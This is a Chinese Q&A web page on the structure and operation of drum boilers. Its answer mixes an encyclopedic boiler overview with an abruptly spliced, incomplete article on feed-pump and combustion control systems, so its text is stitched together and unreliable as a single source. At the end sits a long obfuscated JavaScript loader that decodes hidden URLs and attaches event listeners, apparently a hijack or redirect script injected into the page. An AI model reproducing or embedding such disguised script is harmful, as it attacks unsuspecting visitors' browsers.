汽包锅炉的结构与运行有哪些特点

2025-03-13 01:10:53
推荐回答(1个)
回答1:

锅炉是利用燃料或其他能源的热能,把水加热成为热水或蒸汽的机械设备。锅炉包括锅和炉两大部分,锅的原义是指在火上加热的盛水容器,炉是指燃烧燃料的场所。 锅炉中产生的热水或蒸汽可直接为生产和生活提供所需要的热能,也可通过蒸汽动力装置转换为机械能,或再通过发电机将机械能转换为电能。提供热水的锅炉称为热水锅炉,主要用于生活,工业生产中也有少量应用。产生蒸汽的锅炉称为蒸汽锅炉,又叫蒸汽发生器,常简称为锅炉,是蒸汽动力装置的重要组成部分,多用于火电站、船舶、机车和工矿企业。 锅炉承受高温高压,安全问题十分重要。即使是小型锅炉,一旦发生爆炸,后果也十分严重。因此,对锅炉的材料选用、设计计算、制造和检验等都制订有严格的法规。 锅炉的发展 锅炉的发展分锅和炉两个方面。 18世纪上半叶,英国煤矿使用的蒸汽机,包括瓦特的初期蒸汽机在内,所用的蒸汽压力等于大气压力。18世纪后半叶改用高于大气压力的蒸汽。19世纪,常用的蒸汽压力提高到0.8兆帕左右。与此相适应,最早的蒸汽锅炉是一个盛水的大直径圆筒形立式锅壳,后来改用卧式锅壳,在锅壳下方砖砌炉体中烧火。 随着锅炉越做越大,为了增加受热面积,在锅壳中加装火筒,在火筒前端烧火,烟气从火筒后面出来,通过砖砌的烟道排向烟囱并对锅壳的外部加热,称为火筒锅炉。开始只装一只火筒,称为单火筒锅炉或康尼许锅炉,后来加到两个火筒,称为双火筒锅炉或兰开夏锅炉。 1830年左右,在掌握了优质钢管的生产和胀管技术之后出现了火管锅炉。一些火管装在锅壳中,构成锅炉的主要受热面,火(烟气)在管内流过。在锅壳的存水线以下装上尽量多的火管,称为卧式外燃回火管锅炉。它的金属耗量较低,但需要很大的砌体。 19世纪中叶,出现了水管锅炉。锅炉受热面是锅壳外的水管,取代了锅壳本身和锅壳内的火筒、火管。锅炉的受热面积和蒸汽压力的增加不再受到锅壳直径的限制,有利于提高锅炉蒸发量和蒸汽压力。这种锅炉中的圆筒形锅壳遂改名为锅筒,或称为汽包。初期的水管锅炉只用直水管,直水管锅炉的压力和容量都受到限制。 二十世纪初期,汽轮机开始发展,它要求配以容量和蒸汽参数较高的锅炉。直水管锅炉已不能满足要求。随着制造工艺和水处理技术的发展,出现了弯水管式锅炉。开始是采用多锅筒式。随着水冷壁、过热器和省煤器的应用,以及锅筒内部汽、水分离元件的改进,锅筒数目逐渐减少,既节约了金属,又有利于提高锅炉的压力、温度、容量和效率。 以前的火筒锅炉、火管锅炉和水管锅炉都属于自然循环锅炉,水汽在上升、下降管路中因受热情况不同,造成密度差而产生自然流动。在发展自然循环锅炉的同时,从30年代开始应用直流锅炉,40年代开始应用辅助循环锅炉。 辅助循环锅炉又称强制循环锅炉,它是在自然循环锅炉的基础上发展起来的。在下降管系统内加装循环泵,以加强蒸发受热面的水循环。直流锅炉中没有锅筒,给水由给水泵送入省煤器,经水冷壁和过热器等蒸发受热面,变成过热蒸汽送往汽轮机,各部分流动阻力全由给水泵来克服。 第二次世界大战以后,这两种型式的锅炉得到较快发展,因为当时发电机组要求高温高压和大容量。发展这两种锅炉的目的是缩小或不用锅筒,可以采用小直径管子作受热面,可以比较自由地布置受热面。随着自动控制和水处理技术的进步,它们渐趋成熟。在超临界压力时,直流锅炉是唯一可以采用的一种锅炉,70年代最大的单台容量是27兆帕压力配1300兆瓦发电机组。后来又发展了由辅助循环锅炉和直流锅炉复合而成的复合循环锅炉。 在锅炉的发展过程中,燃料种类对炉膛和燃烧设备有很大的影响。因此,不但要求发展各种炉型来适应不同燃料的燃烧特点,而且还要提高燃烧效率以节约能源。此外,炉膛和燃烧设备的技术改进还要求尽量减少锅炉排烟中的污染物(硫氧化物和氮氧化物) 早年的锅壳锅炉采用固定炉排,多燃用优质煤和木柴,加煤和除渣均用手工操作。直水管锅炉出现后开始采用机械化炉排,其中链条炉排得到了广泛的应用。炉排下送风从不分段的“统仓风”发展成分段送风。 早期炉膛低矮,燃烧效率低。后来人们认识到炉膛容积和结构在燃烧中的作用,将炉膛造高,并采用炉拱和二次风,从而提高了燃烧效率。 发电机组功率超过6兆瓦时,以上这些层燃炉的炉排尺寸太大,结构复杂,不易布置,所以20年代开始使用室燃炉,室燃炉燃烧煤粉和油。煤由磨煤机磨成煤粉后用燃烧器喷入炉膛燃烧,发电机组的容量遂不再受燃烧设备的限制。自第二次世界大战初起,电站锅炉几乎全部采用室燃炉。 早年制造的煤粉炉采用了U形火焰。燃烧器喷出的煤粉气流在炉膛中先下降,再转弯上升。后来又出现了前墙布置的旋流式燃烧器,火焰在炉膛中形成L形火炬。随着锅炉容量增大,旋流式燃烧器的数目也开始增加,可以布置在两侧墙,也可以布置在前后墙。1930年左右出现了布置在炉膛四角且大多成切圆燃烧方式的直流燃烧器。 第二次世界大战后,石油价廉,许多国家开始广泛采用燃油锅炉。燃油锅炉的自动化程度容易提高。70年代石油提价后,许多国家又重新转向利用煤炭资源。这时电站锅炉的容量也越来越大,要求燃烧设备不仅能燃烧完全,着火稳定,运行可靠,低负荷性能好,还必须减少排烟中的污染物质。在燃煤(特别是燃褐煤)的电站锅炉中采用分级燃烧或低温燃烧技术,即延迟煤粉与空气的混合或在空气中掺烟气以减慢燃烧,或把燃烧器分散开来抑制炉温,不但可抑制氮氧化物生成,还能减少结渣。沸腾燃烧方式属于一种低温燃烧,除可燃用灰分十分高的固体燃料外,还可在沸腾床中掺入石灰石用以脱硫。 锅炉的工作 锅炉参数是表示锅炉性能的主要指标,包括锅炉容量、蒸汽压力、蒸汽温度、给水温度等。 锅炉容量可用额定蒸发量或最大连续蒸发量来表示。额定蒸发量是在规定的出口压力、温度和效率下,单位时间内连续生产的蒸汽量。最大连续蒸发量是在规定的出口压力、温度下,单位时间内能最大连续生产的蒸汽量。 蒸汽参数包括锅炉的蒸汽压力和温度,通常是指过热器、再热器出口处的过热蒸汽压力和温度如没有过热器和再热器,即指锅炉出口处的饱和蒸汽压力和温度。给水温度是指省煤器的进水温度,无省煤器时即指锅筒进水温度。 锅炉可按照不同的方法进行分类。锅炉按用途可分为工业锅炉、电站锅炉、船用锅炉和机车锅炉等;按锅炉出口压力可分为低压、中压、高压、超高压、亚临界压力、超临界压力等锅炉;锅炉按水和烟气的流动路径可分为火筒锅炉、火管锅炉和水管锅炉,其中火筒锅炉和火管锅炉又合称为锅壳锅炉;按循环方式可分为自然循环锅炉、辅助循环锅炉(即强制循环锅炉)、直流锅炉和复合循环锅炉;按燃烧方式,锅炉分为室燃炉、层燃炉和沸腾炉等。 在水汽系统方面,给水在加热器中加热到一定温度后,经给水管道进入省煤器,进一步加热以后送入锅筒,与锅水混合后沿下降管下行至水冷壁进口集箱。水在水冷壁管内吸收炉膛辐射热形成汽水混合物经上升管到达锅筒中,由汽水分离装置使水、汽分离。分离出来的饱和蒸汽由锅筒上部流往过热器,继续吸热成为450℃的过热蒸汽,然后送往汽轮机。 在燃烧和烟风系统方面,送风机将空气送入空气预热器加热到一定温度。在磨煤机中被磨成一定细度的煤粉,由来自空气预热器的一部分热空气携带经燃烧器喷入炉膛。燃烧器喷出的煤粉与空气混合物在炉膛中与其余的热空气混合燃烧,放出大量热量。燃烧后的热烟气顺序流经炉膛、凝渣管束、过热器、省煤器和空气预热器后,再经过除尘装置,除去其中的飞灰,最后由引风机送往烟囱排向大气。 锅炉的结构 锅炉整体的结构包括锅炉本体和辅助设备两大部分。锅炉中的炉膛、锅筒、燃烧器、水冷壁过热器、省煤器、空气预热器、构架和炉墙等主要部件构成生产蒸汽的核心部分,称为锅炉本体。锅炉本体中两个最主要的部件是炉膛和锅筒。 炉膛又称燃烧室,是供燃料燃烧的空间。将固体燃料放在炉排上,进行火床燃烧的炉膛称为层燃炉,又称火床炉;将液体、气体或磨成粉状的固体燃料,喷入火室燃烧的炉膛称为室燃炉,又称火室炉;空气将煤粒托起使其呈沸腾状态燃烧,并适于燃烧劣质燃料的炉膛称为沸腾炉,又称流化床炉;利用空气流使煤粒高速旋转,并强烈火烧的圆筒形炉膛称为旋风炉。 炉膛的横截面一般为正方形或矩形。燃料在炉膛内燃烧形成火焰和高温烟气,所以炉膛四周的炉墙由耐高温材料和保温材料构成。在炉墙的内表面上常敷设水冷壁管,它既保护炉墙不致烧坏,又吸收火焰和高温烟气的大量辐射热。 炉膛设计需要充分考虑使用燃料的特性。每台锅炉应尽量燃用原设计的燃料。燃用特性差别较大的燃料时锅炉运行的经济性和可靠性都可能降低。 锅筒是自然循环和多次强制循环锅炉中,接受省煤器来的给水、联接循环回路,并向过热器输送饱和蒸汽的圆筒形容器。锅筒简体由优质厚钢板制成,是锅炉中最重的部件之一。 锅筒的主要功能是储水,进行汽水分离,在运行中排除锅水中的盐水和泥渣,避免含有高浓度盐分和杂质的锅水随蒸汽进入过热器和汽轮机中。 锅筒内部装置包括汽水分离和蒸汽清洗装置、给水分配管、排污和加药设备等。其中汽水分离装置的作用是将从水冷壁来的饱和蒸汽与水分离开来,并尽量减少蒸汽中携带的细小水滴。中、低压锅炉常用挡板和缝隙挡板作为粗分离元件;中压以上的锅炉除广泛采用多种型式的旋风分离器进行粗分离外,还用百页窗、钢丝网或均汽板等进行进一步分离。锅筒上还装有水位表、安全阀等监测和保护设施。 为了考核性能和改进设计,锅炉常要经过热平衡试验。直接从有效利用能量来计算锅炉热效率的方法叫正平衡,从各种热损失来反算效率的方法叫反平衡。考虑锅炉房的实际效益时,不仅要看锅炉热效率,还要计及锅炉辅机所消耗的能量。 单位质量或单位容积的燃料完全燃烧时,按化学反应计算出的空气需求量称为理论空气量。为了使燃料在炉膛内有更多的机会与氧气接触而燃烧,实际送入炉内的空气量总要大于理论空气量。虽然多送入空气可以减少不完全燃烧热损失,但排烟热损失会增大,还会加剧硫氧化物腐蚀和氮氧化物生成。因此应设法改进燃烧技术,争取以尽量小的过量空气系数使炉膛内燃烧完全。 锅炉烟气中所含粉尘(包括飞灰和炭黑)、硫和氮的氧化物都是污染大气的物质,未经净化时其排放指标可达到环境保护规定指标的几倍到数十倍。控制这些物质排放的措施有燃烧前处理、改进燃烧技术、除尘、脱硫和脱硝等。借助高烟囱只能降低烟囱附近地区大气中污染物的浓度。 烟气除尘所使用的作用力有重力、离心力、惯性力附着力以及声波、静电等。对粗颗粒一般采用重力沉降和惯性力的分离,在较高容量下常采用离心力分离除尘静电除尘器和布袋过滤器具有较高的除尘效率。湿式和文氏—水膜除尘器中水滴水膜能粘附飞灰,除尘效率很高还能吸收气态污染物。 二十世纪50年代以来,人们努力发展灰渣综合利用,化害为利。如用灰渣制造水泥、砖和混凝土骨料等建筑材料。70年代起又从粉煤灰中提取空心微珠,作为耐火保温等材料。 锅炉未来的发展将进一步提高锅炉和电站热效率;降低锅炉和电站的单位功率的设备造价;提高锅炉机组的运行灵活性和自动化水平;发展更多锅炉品种以适应不同的燃料;提高锅炉机组及其辅助设备的运行可靠性;减少对环境的污染。系统下达指令由变频器自动启动第一台泵运行,系统检测给水管的水压,当变频器频率上升到工频时,如水压未达到设定的压力值,系统自动将第一台电机切换至工频直供电,并由变频器拖动第二台水泵运行,如变频器运行到工频状态时供水母管压力仍未达到设定压力值系统自动将第二台水泵切换至工频直供电,再由变频器拖动第三台运行,依次类推,直至压力达到设定值。若锅炉需要的给水量减少,变频控制系统可自动降低变频器的运行频率,如变频器的频率到零仍不能满足要求,则变频器自动切换至前一台水泵进行变频运行,依次类推。变频恒压供水控制系统的实质是:始终利用一台变频器自动调整水泵的转速,切换时间以管网的实际压力和设定压力的差值决定,同时保证管网的压力动态恒定。值得注意的是为了防止变频器报警停机或其他故障造成水泵不转会引起锅炉缺水,所以应该加反馈装置确保变频器正常工作。 除此之外锅炉的供水系统中还包括除氧器压力控制和除氧器水位控制,除氧器压力控制主要是为了保证除氧器口有足够的蒸汽压力用于将软化水除氧,这是一个单闭环控制回路,输入参数是除氧器压力输出参数控制除氧器进汽阀。除氧器水位控制主要是为了保证除氧器内有足够的水提供给锅炉,这是一个单闭环控制回路输入参数,是除氧器水位输出参数控制除氧器进水阀。 3.2 锅炉燃烧调节系统 燃烧过程自动调节系统的选择虽然与燃烧的种类和供给系统、燃烧方式以及锅炉与负荷的联结方式都有关系,但是燃烧过程自动调节的任务都是一样的。归纳起来,燃烧过程自动调节系统有三大任务: ① 维持汽压恒定。汽压的变化表示锅炉蒸汽量和负荷的耗汽量不相适应,必须相应地改变燃料量,以改变锅炉的蒸汽量。 ② 保证燃烧过程的经济性。当燃料量改变时,必须相应地调节送风量,使它与燃料量相配合,保证燃烧过程有较高的经济性。 ③ 调节引风量与送风量相配合,以保证炉膛压力不变。 燃烧调节系统一般有三个被调参数,汽压p、烟气含氧量a和炉膛负压pt。一般有3个调节量,他们是燃料量M,送风量F和引风量Y。燃烧调节系统的调节对象对于燃料量,根据燃料种类的不同可能是炉排电机,也可能是燃料阀。对于送风量和引风量一般是挡板执行机构或变频器。 燃烧调节系统是一个多参数变量调节系统。这种调节系统通常把它简化成互相联系,密切配合但又相对独立的3个单变量系统来实现。为便于分析,下面我们按3个系统来分别分析。这三个系统分别是以燃料量维持锅炉压力恒定的蒸汽压力调节系统,以送风量维持锅炉经济燃烧的送风调节系统,以引风量维持炉膛负压稳定的炉膛负压调节系统。 3.2.1 蒸汽压力调节对象的特性 引起蒸汽压力变化的主要原因是燃料量和用汽负荷发生变化。其动态特性如下。 ① 燃料量扰动下的汽压变化特性 在用汽负荷不变的情况下,如锅炉燃料量(B)发生△B的阶跃扰动,此时汽压的飞升曲线如图4(a)所示。此时对象没有自平衡能力,具有较大的迟滞和惯性。但如果锅炉出口的用汽阀门开度不变,那么由于汽压因燃料量扰动而发生变化时,蒸汽流量也将发生变化。由于汽压变化时,蒸汽流量增大自发地限制了汽压的变化,因此对象有平衡能力。此时汽压的飞升曲线如图4(b)所示。 ② 用汽负荷扰动下的汽压变化特性 负荷阶跃扰动下,汽压变化的动态特性也有下列两种情况:当用汽阀门阶跃扰动时,对象表现出具有自平衡能力,没有延迟,但有较大的惯性,并有一个与阀门变化成比例的启始飞跃,飞升曲线如图4(c)所示;当用汽量阶跃扰动时,其飞升曲线如图4(d)所示,此时对象没有自平衡能力,如果不及时增加进入锅炉的燃料量,那么,汽压将一直下降。 3.2.2 送风自动调节对象的特性 送风调节系统的工作好坏,直接影响炉膛的空气过剩系数的变化也就是排出烟气的含氧量。引起空气过剩系数变化的主要扰动是燃料量和送风量配比。风量扰动下对象的动态特性具有较大的自平衡能力,几乎没有延迟和惯性,近似为一比例环节。而燃料量扰动时,需经过输送和燃烧过程而略有延迟。由于送风系统几乎没有延迟和惯性。所以在燃料充足的情况下送风量的大小将比较直接的反应在锅炉的蒸汽压力上。那么怎样才能保证股风量和燃料量的搭配适宜,这里我们引入了风煤比这个概念。风煤比就是在当前风量下所能燃烧的煤的最大值。在控制作用中风煤比主要是根据当前风量来限制炉排的转速,防止由于风量不够导致煤不能充分燃烧。该参数对节煤和环保都有很大意义。因为如果不能充分燃烧将会导致煤渣的含炭量增高,这样比较浪费煤,同时还会造成烟气含炭量增高影响排放。 3.2.3 炉膛负压自动调节对象的特性 炉膛负压自动调节对象的动态特性较好,但扰动通道的飞升时间很短,飞升速度很快。 根据以上对燃烧系统调节对象的分析,下面我们针对燃烧自动控制系统三个任务对控制采用的方案进行分析。 燃烧过程控制系统一般采用的控制流程图如图5(a)所示,先通过蒸汽压力变送器经滤波后取得信号,与设定蒸汽压力进行比较,判断出鼓风PI调节器调节的方向和大小,通过鼓风PI调节单元计算出鼓风变频器的输出大小。同时把该信号输出给风煤比计算单元,相应的算出在当时的风量下炉排的最大输出值。再把蒸汽压力的差值信号送给炉排PI调节器,通过炉排PI调节单元计算出炉排变频器的输出大小。经过风煤比限位,输出给炉排变频器。在实际调试过程中我们往往把鼓风PI调节中的比例系数设的比炉排PI单元的大,这样可以很好的保证鼓风系统对蒸汽压力的敏感度要高于炉排。实践证明通过该方法控制下锅炉的蒸汽压力稳定性好,在蒸汽负荷变化时相应程度高。灰渣含碳量低。 炉膛负压的大小对于节能影响很大。负压大,被烟气带走的热量大,热损失增加,煤耗量增大,理想运行状态应在微负压状态。它能明显增加悬浮煤颗粒在炉膛内的滞留时间,增加沉降,减少飞灰,使煤充分燃烧提高热效率。但由于负荷变化,需要改变给煤量和送风量,随之也要改变引风量,以保证炉膛负压的稳定,但由于系统有一定的滞后时间,为避免鼓风变化而引起炉膛负压的波动,系统中引入鼓风信号作为前馈信号对引风机进行超前调节。炉膛负压控制系统一般采用的控制流程图如图5(b)所示,调节原理比较简单属于单闭环调节系统,它的输入量是炉膛负压输出量是引风变频器,同时引入鼓风量作为前馈信号。 另外系统各回路中都设置了手自动两种操作方式,为了实现无扰动切换,系统引入了各控制对象的反馈值,在手动操作时PLC输出会自动跟踪控制对象的反馈,当切换到自动状态时可以进行无扰动切换,使系统平稳的过渡到自动状态。 四、锅炉控制系统组成结构 上面我们针对锅炉控制系统的各控制回路原理的做了简要分析,依据以上分析,我们知道构建一个可靠的、智能随动的智能控制系统是保证锅炉安全生产的基础。锅炉控制系统是典型的多变量、纯滞后、强耦合的控制系统,如果不能在控制策略和软件实现上很好地解决多变量解偶关系和滞后响应问题,那么,实施智能锅炉控制系统改造后同样也将无法实现预期的目标。 在控制系统设计上我们采用集中控制分散驱动(P—T方案)的集散控制思想,把控制系统分为三层: a) 信息管理层:完成系统关键技术数据的设定、实时数据和运行状态的监视与控制、历史数据的查看、数据报表的记录与打印、报警与故障的提示处理等功能;主要由上位工控机(IPC)、组态开发软件、应用程序、通讯模块等组成; b) 控制层:主要完成各种控制动作命令、实时数据的采样与处理、连锁动作的关联表达、控制算法的实现、异常现象的自动处理等功能;主要由可编程逻辑控制器(PLC)的开关量模块、模拟量模块、智能PID调节仪、变频器、PLC应用程序等组成; c) 设备层:主要接受来自PLC的控制命令,执行相应的动作或提供相应的检测数据。主要由断路器、交流接触器、压力变送器、温度变送器、流量变送器、电动开关阀、模拟信号隔离分配器等组成。 五、结束语 综上所述,锅炉控制系统改造具有很好的市场发展空间和投资收益前景,值得广泛地推广。它不仅能够通过自动化控制技术实现安全生产的目的,还能够节煤节电并能使排放更环保,总之锅炉的计算机自动化控制是锅炉行业发展的大势所趋,也是一项利国利民的发展方向。

参考资料:http://www.klheat.com

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 